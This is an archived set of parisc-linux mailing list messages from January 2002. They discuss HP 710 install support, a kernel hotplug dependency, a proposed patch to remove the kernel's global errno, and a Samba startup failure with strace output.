	by dsl2.external.hp.com (Postfix) with ESMTP id 88E96482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Jan 2002 08:54:09 -0700 (MST)
Original-Received: from localhost (mattl@localhost)
	by coffeepot.matt (8.11.4/8.11.4) with ESMTP id g02FsFG03721
	for <parisc-linux@lists.parisc-linux.org>; Wed, 2 Jan 2002 15:54:17 GMT
X-Authentication-Warning: coffeepot.matt: mattl owned process doing -bs
X-X-Sender: <mattl@coffeepot.matt>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13561

Hi,
  I've not been following the list for quite some months, and I was
wondering how support for the 710 was going (i.e. is net+scsi working
yet?). It'd be nice to get my 710 actually doing something useful :&)

  I'm not on a fast connection ATM, so I thought I'd ask on the list
before spending a good few hours downloading an iso which isn't actually
any use at the end of the day :&)

-- Matt

---
Web Page:
  http://knm.yi.org/
  http://pkl.net/~matt/

PGP Key fingerprint = 00BF 19FE D5F5 8EAD 2FD5  D102 260E 8BA7 EEE4 8D7F
PGP Key http://knm.yi.org/matt-pgp.html




From - Thu Nov 08 21:21:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Enrik Berkhan <Enrik.Berkhan@planb.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 710 support
Date: Wed, 2 Jan 2002 17:08:15 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20020102170814.A27904@electra.intern.planb.de>
References: <Pine.LNX.4.33.0201021550230.30124-100000@coffeepot.matt>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620913 32746 80.91.229.3 (22 Nov 2014 01:48:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matt London <palinux@knm.yi.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan  2 09:08:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.planb.de (aldebaran.planb.de [212.227.14.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B0D2482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Jan 2002 09:08:18 -0700 (MST)
Original-Received: from electra.intern.planb.de (andromeda.planb.de [212.227.19.14])
	by mail.planb.de with esmtp 
	id 16Lnw7-00050w-00; Wed, 02 Jan 2002 17:08:15 +0100
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.33.0201021550230.30124-100000@coffeepot.matt>
User-Agent: Mutt/1.3.23i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13562

On Wed, Jan 02, 2002 at 03:54:15PM +0000, Matt London wrote:
>   I've not been following the list for quite some months, and I was
> wondering how support for the 710 was going (i.e. is net+scsi working
> yet?). It'd be nice to get my 710 actually doing something useful :&)

I've got a 710 up & running with the 0.93 iso without major problems.
The 710 doesn't have a CDROM, so I booted the included lifimage via
rbootd from a PC running Debian Potato (rbootd is included as package).

The only minor problem was NFS-mounting the installation CD. The Debian
installer tries a V3 mount without running a portmapper, thus hanging
for lockd/statd until timeout, which is really long. So I did the mount
by hand using the "nolock" option and told the installer to use an 
already mounted partition.

You have to upgrade the kernel after installation to get a usable (dumb)
framebuffer if you want to give XFree a try. There is no HIL mouse
support in the CVS kernel yet.

Enrik
-- 
Enrik Berkhan                                         plan b. GmbH
                                                      Rppurrer Strae 4
+49-721-388582 (voice)                                76137 Karlsruhe
+49-721-388581 (fax)                                  Germany



From - Thu Nov 08 21:21:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Mottram <peter@petescaff.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] DSL on a 715/80 with rp-pppoe
Date: Wed, 2 Jan 2002 17:51:51 +0100 (CET)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.43.0201021748410.2611-100000@szr.petescaff.com>
References: <20020101233834.GA2872@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620913 32751 80.91.229.3 (22 Nov 2014 01:48:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:33 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan  2 09:51:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.petescaff.com (petem.xs4all.nl [194.109.247.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5954D482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Jan 2002 09:51:57 -0700 (MST)
Original-Received: from [192.168.0.5] (helo=szr.petescaff.com)
	by smtp.petescaff.com with esmtp (Exim 3.22 #5)
	id 16LocK-00072t-00; Wed, 02 Jan 2002 17:51:52 +0100
Original-Received: from apm (helo=localhost)
	by szr.petescaff.com with local-esmtp (Exim 3.33 #1 (Debian))
	id 16LocK-0000mN-00; Wed, 02 Jan 2002 17:51:52 +0100
X-X-Sender: apm@szr.petescaff.com
In-Reply-To: <20020101233834.GA2872@sleepie.demon.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13563

On Tue, 1 Jan 2002, Richard Hirst wrote:
[snip]
> Is it possible you now have CONFIG_HOTPLUG=y, and didn't before?
>
> Does adding a fake sbin/hotplug fix it?

The 2.4.9 Debian kernal package had hotplug disabled but the 2.4.16
package has it enabled. After a quick apt-get install of hotplug I have a
happy system again. I have filed a bug report to Debian on the kernel
package requesting a dependency on hotplug. This is obviously not the real
fix that is needed, but it would at least prevent this kind of problem for
anyone else.

Cheers
PeteM




From - Thu Nov 08 21:21:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bdale Garbee <bdale@gag.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] DSL on a 715/80 with rp-pppoe
Date: 02 Jan 2002 10:29:08 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <878zbg64rf.fsf@rover.gag.com>
References: <20020101233834.GA2872@sleepie.demon.co.uk>
	<Pine.LNX.4.43.0201021748410.2611-100000@szr.petescaff.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620913 32754 80.91.229.3 (22 Nov 2014 01:48:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan  2 10:31:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rover.gag.com (rover.gag.com [192.133.104.32])
	by dsl2.external.hp.com (Postfix) with ESMTP id C4BCF482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Jan 2002 10:31:12 -0700 (MST)
Original-Received: by rover.gag.com (Postfix, from userid 1000)
	id D49D93BD29; Wed,  2 Jan 2002 10:29:08 -0700 (MST)
In-Reply-To: <Pine.LNX.4.43.0201021748410.2611-100000@szr.petescaff.com>
Original-Lines: 18
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13564

peter@petescaff.com (Peter Mottram) writes:

> The 2.4.9 Debian kernal package had hotplug disabled but the 2.4.16
> package has it enabled. After a quick apt-get install of hotplug I have a
> happy system again. I have filed a bug report to Debian on the kernel
> package requesting a dependency on hotplug. This is obviously not the real
> fix that is needed, but it would at least prevent this kind of problem for
> anyone else.

Nah, that's the wrong answer.  The kernel shouldn't crater if hotplug isn't
present.

Slapping another dependency on the kernel image packages would mask the 
problem instead of fixing it, so I'm uninclined to implement this request.
Better someone track down and fix what's actually blowing up in the kernel,
I think.

Bdale



From - Thu Nov 08 21:21:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH][RFC][CFT] remove global errno from the kernel, make _sysca (fwd)
Date: Wed, 02 Jan 2002 11:21:57 -0800
Lines: 72
Approved: news@gmane.org
Message-ID: <20020102192157.6F97940AB@dhcp66.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620914 32757 80.91.229.3 (22 Nov 2014 01:48:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Lennert Buytenhek <buytenh@gnu.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan  2 12:22:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4EC99482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Jan 2002 12:22:02 -0700 (MST)
Original-Received: from psalpha0.cup.hp.com (psalpha0.cup.hp.com [15.13.189.230])
	by palrel12.hp.com (Postfix) with ESMTP
	id D4D33E0045C; Wed,  2 Jan 2002 11:22:00 -0800 (PST)
Original-Received: from dhcp66.cup.hp.com (postfix@dhcp66.cup.hp.com [15.8.80.66])
	by psalpha0.cup.hp.com (8.9.3/8.8.6) with ESMTP id LAA06356;
	Wed, 2 Jan 2002 11:22:00 -0800 (PST)
Original-Received: from cup.hp.com (dhcp66.cup.hp.com [15.8.80.66])
	by dhcp66.cup.hp.com (Postfix) with ESMTP
	id 6F97940AB; Wed,  2 Jan 2002 11:21:57 -0800 (PST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13565

Lennert,
I'm one of the maintainers.
I've cc'd the proper parisc kernel list.

thanks,
grant

------- Forwarded Message

From: Lennert Buytenhek <buytenh@gnu.org>
To: linux-arm-kernel@lists.arm.linux.org.uk,
	dev-etrax@axis.com, linux-ia64@linuxia64.org,
	linux-m68k@lists.linux-m68k.org, linux-mips@oss.sgi.com,
	linux-390@vm.marist.edu,
	sparclinux@vger.kernel.org,
	ultralinux@vger.kernel.org
Subject: [PATCH][RFC][CFT] remove global errno from the kernel, make _syscallX kernel-only

(Apologies for the massive cross-post, but this is a matter that concerns
all architectures.  For archs that don't have a maintainer listed in
MAINTAINERS I grabbed a random email address from arch/$arch/kernel/*.
If you're not the person to answer this for your $arch, please forward
to an appropriate person/list.)


Hi,

As I mentioned in my email to l-k with subject '[PATCH][RFC] global
errno considered harmful' earlier today, having a global errno in the
kernel doesn't really make sense.

Referenced patch [1] deletes all mention of a global errno from the
kernel, fixes up a very small number of callers that were depending on
it, and fixes up the syscall helpers in include/asm-$arch/unistd.h not
to write an error code to errno in case of error anymore.

This subtly breaks userspace code that uses these helpers, but the general
consensus seems to be that userspace code shouldn't be touching these in
the first place.  Patch [2] fixes up asm-$arch/unistd.h to only define
_syscallX in case __KERNEL_SYSCALLS__ is defined, to try and actively
break userspace (ab)users of this code (thanks to Ralf Baechle for
suggesting I should do something along these lines).

What I would like to know from each architecture team:
- - What is your arch's policy on userspace usage of asm/unistd.h, and
  consequently, what is your opinion on the goal these patches
  aim for?
- - Are the changes I made in [1] and [2] for your $arch technically
  correct?
Please CC me on replies as I'm not on any of the lists posted to.

My intention is to push these to Linus for 2.5 if everyone agrees.
They're probably too intrusive for 2.4 (although I'd love people
to convince me otherwise).


cheers,
Lennert

[1] http://www.math.leidenuniv.nl/~buytenh/errno_ectomy-1.diff
[2] http://www.math.leidenuniv.nl/~buytenh/errno_ectomy-1-to-2.diff

_______________________________________________
Linux-IA64 mailing list
Linux-IA64@linuxia64.org
http://lists.linuxia64.org/lists/listinfo/linux-ia64


------- End of Forwarded Message




From - Thu Nov 08 21:21:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH][RFC][CFT] remove global errno from the kernel
Date: Wed,  2 Jan 2002 16:42:11 -0700 (MST)
Lines: 21
Approved: news@gmane.org
Message-ID: <20020102234211.15C23482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620914 32760 80.91.229.3 (22 Nov 2014 01:48:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: buytenh@gnu.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan  2 16:42:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 15C23482A; Wed,  2 Jan 2002 16:42:11 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13566

Lennert Buytenhek wrote:
> Thanks!  I've found that it's very hard to motivate people for these
> kinds of changes (I've only had two reactions so far), so your reply is
> really appreciated!

heh - it's too much like work ;^)

BTW, the parisc code in Linus' tree is horribly stale.
We are slowly cleaning up and getting changes back to the
various upstream maintainers.  I think it's fair to mostly ignore
parisc until linus' 2.4 tree is more in sync ours.  If you
have time and/or interest, look at http://cvs.parisc-linux.org.

In any case, DTRT and we'll deal with those changes in a future merge.

thanks,
grant

grundler at parisc-linux.org



From - Thu Nov 08 21:21:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Herb Radford <herbr@magma.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problem with Samba on a D370
Date: Wed, 02 Jan 2002 20:33:54 -0500
Lines: 268
Approved: news@gmane.org
Message-ID: <5.1.0.14.0.20020102201841.0302dec0@mail.magma.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416620914 32764 80.91.229.3 (22 Nov 2014 01:48:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan  2 18:34:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.istop.com (cpu1693.adsl.bellglobal.com [206.47.27.174])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1300F482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Jan 2002 18:34:22 -0700 (MST)
Original-Received: from old@istop.magma.ca (herbr.istop.com [216.187.107.13])
	by ns.istop.com (Postfix) with ESMTP id CC12517016
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Jan 2002 20:34:31 -0500 (EST)
X-Sender: herbr@mail.magma.ca
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13567

OK, I'm trying to set up Samba on this D370 and have a small problem.
SMBD daemon starts but fails with "failed to open /etc/samba/secrets.tdb".
So I tried "strace -f smbd -D" and thats where I run out of knowledge!
I'm including the strace output but to me it looks like something I read on 
the Samba mailing list archives while poking about for an answer. It seems 
that there was some problem with 64-bit vs. 32-bit parameters at one time 
(I think in 2.2-2 which is what my version is) and I hope someone can give 
me a few pointers. ;) I don't know if this is  a Samba problem or a Debian 
problem so I'll just ask!

Do a search on secrets and the line in question is 8 lines later where 
fcntl returns EINVAL for a start of -84932400??? which is 0xfaf008d0, 
uncommonly similar to part of the LLSEEK parameter 2 line above.

Well that's my thought anyway.

Regards, Herb

1055  execve("/usr/sbin/smbd", ["smbd", "-D"], [/* 14 vars */]) = 0
1055  newuname({sys="Linux", node="HP-D370", ...}) = 0
1055  brk(0)                            = 0x1e8000
1055  open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or 
directory)
1055  open("/etc/ld.so.cache", O_RDONLY) = 3
1055  fstat64(3, {st_mode=0, st_size=0, ...}) = 0
1055  mmap(NULL, 5568, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40019000
1055  close(3)                          = 0
1055  open("/usr/lib/libcups.so.2", O_RDONLY) = 3
1055  read(3, 
"\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\0E\330"..., 1024) = 1024
1055  fstat64(3, {st_mode=0, st_size=0, ...}) = 0
1055  mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 
0) = 0x4001b000
1055  mmap(NULL, 182992, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x4002a000
1055  mprotect(0x40044000, 76496, PROT_NONE) = 0
1055  mmap(0x40053000, 12288, PROT_READ|PROT_WRITE|PROT_EXEC, 
MAP_PRIVATE|MAP_FIXED, 3, 0x19000) = 0x40053000
1055  mmap(0x40056000, 2768, PROT_READ|PROT_WRITE|PROT_EXEC, 
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40056000
1055  close(3)                          = 0
1055  open("/lib/libdl.so.2", O_RDONLY) = 3
1055  read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\0\37"..., 
1024) = 1024
1055  fstat64(3, {st_mode=0, st_size=0, ...}) = 0
1055  mmap(NULL, 75588, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40057000
1055  mprotect(0x4005a000, 63300, PROT_NONE) = 0
1055  mmap(0x40069000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, 
MAP_PRIVATE|MAP_FIXED, 3, 0x2000) = 0x40069000
1055  close(3)                          = 0
1055  open("/lib/libnsl.so.1", O_RDONLY) = 3
1055  read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\0IL"..., 
1024) = 1024
1055  fstat64(3, {st_mode=0, st_size=0, ...}) = 0
1055  mmap(NULL, 169920, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x4006a000
1055  mprotect(0x40081000, 75712, PROT_NONE) = 0
1055  mmap(0x40090000, 8192, PROT_READ|PROT_WRITE|PROT_EXEC, 
MAP_PRIVATE|MAP_FIXED, 3, 0x16000) = 0x40090000
1055  mmap(0x40092000, 6080, PROT_READ|PROT_WRITE|PROT_EXEC, 
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40092000
1055  close(3)                          = 0
1055  open("/lib/libpam.so.0", O_RDONLY) = 3
1055  read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\0\33"..., 
1024) = 1024
1055  fstat64(3, {st_mode=0, st_size=0, ...}) = 0
1055  mmap(NULL, 99184, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40094000
1055  mprotect(0x4009c000, 66416, PROT_NONE) = 0
1055  mmap(0x400ab000, 8192, PROT_READ|PROT_WRITE|PROT_EXEC, 
MAP_PRIVATE|MAP_FIXED, 3, 0x7000) = 0x400ab000
1055  close(3)                          = 0
1055  open("/lib/libc.so.6", O_RDONLY)  = 3
1055  read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\2?@"..., 
1024) = 1024
1055  fstat64(3, {st_mode=0, st_size=0, ...}) = 0
1055  mmap(NULL, 1404268, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x400ad000
1055  mprotect(0x401e7000, 118124, PROT_NONE) = 0
1055  mmap(0x401f6000, 45056, PROT_READ|PROT_WRITE|PROT_EXEC, 
MAP_PRIVATE|MAP_FIXED, 3, 0x139000) = 0x401f6000
1055  mmap(0x40201000, 11628, PROT_READ|PROT_WRITE|PROT_EXEC, 
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40201000
1055  close(3)                          = 0
1055  open("/lib/libcrypt.so.1", O_RDONLY) = 3
1055  read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\0\v"..., 
1024) = 1024
1055  fstat64(3, {st_mode=0, st_size=0, ...}) = 0
1055  mmap(NULL, 247464, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40204000
1055  mprotect(0x4020a000, 222888, PROT_NONE) = 0
1055  mmap(0x40219000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, 
MAP_PRIVATE|MAP_FIXED, 3, 0x5000) = 0x40219000
1055  mmap(0x4021a000, 157352, PROT_READ|PROT_WRITE|PROT_EXEC, 
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4021a000
1055  close(3)                          = 0
1055  munmap(0x40019000, 5568)          = 0
1055  geteuid()                         = 0
1055  time(NULL)                        = 1009908465
1055  brk(0)                            = 0x1e8000
1055  brk(0x1e8030)                     = 0x1e8030
1055  brk(0x1e9000)                     = 0x1e9000
1055  open("/etc/localtime", O_RDONLY)  = 3
1055  fstat64(3, {st_mode=0, st_size=0, ...}) = 0
1055  mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 
0) = 0x40019000
1055  read(3, "TZif\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\2\0\0\0\2\0"..., 
4096) = 1218
1055  close(3)                          = 0
1055  munmap(0x40019000, 4096)          = 0
1055  open("/dev/urandom", O_RDONLY|O_LARGEFILE) = 3
1055  setresuid(ruid 0, euid 0, suid 0) = 0
1055  setuid(0)                         = 0
1055  geteuid()                         = 0
1055  getuid()                          = 0
1055  setresgid(rgid 0, egid 0, sgid 0) = 0
1055  setgid(0)                         = 0
1055  getegid()                         = 0
1055  getgid()                          = 0
1055  rt_sigaction(SIGSEGV, {0x196bee, [], SA_RESTART}, NULL, 8) = 0
1055  rt_sigaction(SIGBUS, {0x196bee, [], SA_RESTART}, NULL, 8) = 0
1055  rt_sigaction(SIGTERM, {0x19648e, [], SA_RESTART}, NULL, 8) = 0
1055  rt_sigprocmask(SIG_BLOCK, [PIPE], NULL, 8) = 0
1055  rt_sigprocmask(SIG_BLOCK, [FPE], NULL, 8) = 0
1055  rt_sigprocmask(SIG_BLOCK, [USR2], NULL, 8) = 0
1055  rt_sigprocmask(SIG_UNBLOCK, [HUP], NULL, 8) = 0
1055  rt_sigprocmask(SIG_UNBLOCK, [USR1], NULL, 8) = 0
1055  umask(0)                          = 022
1055  geteuid()                         = 0
1055  getegid()                         = 0
1055  getgroups(0, 0xfaf003c8)          = 1
1055  getgroups(1, [0])                 = 1
1055  umask(022)                        = 0
1055  open("/var/log/samba/log.smbd", 
O_WRONLY|O_APPEND|O_CREAT|O_LARGEFILE, 0666) = 4
1055  fstat64(4, {st_mode=0, st_size=0, ...}) = 0
